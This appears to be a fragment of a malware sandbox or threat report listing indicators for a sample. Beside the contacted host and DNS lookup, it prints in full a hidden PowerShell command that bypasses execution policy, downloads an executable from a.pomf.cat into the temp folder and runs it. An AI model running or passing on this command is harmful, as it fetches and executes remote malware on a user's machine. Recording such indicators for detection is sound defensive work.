Technical Information
- https://a.pomf.cat/ikezpw.exe as %temp%\ikezpw.exe
- 'a.##mf.cat':443
- 'a.##mf.cat':443
- DNS ASK a.##mf.cat
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -w hidden -nop -ep bypass (New-Object System.Net.WebClient).DownloadFile('https://a.pomf.cat/ikezpw.exe','%TEMP%\ikezpw.exe'); Start-Process('%TEMP%\ikezpw.exe')' (with hidden window)